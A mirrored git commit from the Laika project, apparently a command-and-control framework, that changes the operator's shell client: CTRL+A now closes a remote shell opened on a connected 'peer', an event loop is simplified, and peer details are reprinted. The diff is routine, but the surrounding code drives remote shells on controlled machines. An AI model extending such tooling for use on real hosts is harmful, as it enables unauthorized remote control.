1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-22 04:50:06 +00:00

Shell: CTRL+A now kills the shell

This commit is contained in:
CPunch 2022-04-15 15:27:50 -05:00
parent 7d9ed4ab87
commit 9a6562f440
3 changed files with 9 additions and 5 deletions

View File

@ -254,7 +254,7 @@ void shellC_connectToCNC(tShell_client *client, char *ip, char *port) {
} }
bool shellC_poll(tShell_client *client, int timeout) { bool shellC_poll(tShell_client *client, int timeout) {
struct sLaika_pollEvent *evnts, *evnt; struct sLaika_pollEvent *evnts;
int numEvents, i; int numEvents, i;
/* run any scheduled tasks, this could be moved but it works fine here for now */ /* run any scheduled tasks, this could be moved but it works fine here for now */
@ -268,8 +268,7 @@ bool shellC_poll(tShell_client *client, int timeout) {
return false; return false;
for (i = 0; i < numEvents; i++) { for (i = 0; i < numEvents; i++) {
evnt = &evnts[i]; laikaP_handleEvent(&evnts[i]);
laikaP_handleEvent(evnt);
} }
/* flush any events after (eg. made by a packet handler) */ /* flush any events after (eg. made by a packet handler) */

View File

@ -77,6 +77,7 @@ void openShellCMD(tShell_client *client, int args, char *argc[]) {
peer = shellS_getPeer(client, id); peer = shellS_getPeer(client, id);
PRINTINFO("Opening shell on peer %04d...\n"); PRINTINFO("Opening shell on peer %04d...\n");
PRINTINFO("Use CTRL+A to kill the shell\n");
/* open shell on peer */ /* open shell on peer */
shellT_getTermSize(&cols, &rows); shellT_getTermSize(&cols, &rows);
@ -93,7 +94,11 @@ void openShellCMD(tShell_client *client, int args, char *argc[]) {
if (sz <= 0) /* sanity check */ if (sz <= 0) /* sanity check */
break; break;
shellC_sendDataShell(client, buf, sz); /* ctrl + a; kill shell */
if (buf[0] == '\01')
shellC_closeShell(client);
else
shellC_sendDataShell(client, buf, sz);
} }
} }
} }

View File

@ -49,5 +49,5 @@ void shellP_printInfo(tShell_peer *peer) {
char buf[128]; /* i don't expect bin2hex to write outside this, but it's only user-info and doesn't break anything (ie doesn't write outside the buffer) */ char buf[128]; /* i don't expect bin2hex to write outside this, but it's only user-info and doesn't break anything (ie doesn't write outside the buffer) */
sodium_bin2hex(buf, sizeof(buf), peer->pub, crypto_kx_PUBLICKEYBYTES); sodium_bin2hex(buf, sizeof(buf), peer->pub, crypto_kx_PUBLICKEYBYTES);
shellT_printf("\t%s@%s\n\tTYPE: %s\n\tOS: %s\n\tPUBKEY: %s\n\tINET: %s\n", peer->hostname, peer->ipv4, shellP_typeStr(peer), shellP_osTypeStr(peer), buf, peer->inet); shellT_printf("\t%s-%s\n\tOS: %s\n\tINET: %s\n\tPUBKEY: %s\n", peer->ipv4, peer->hostname, shellP_osTypeStr(peer), peer->inet, buf);
} }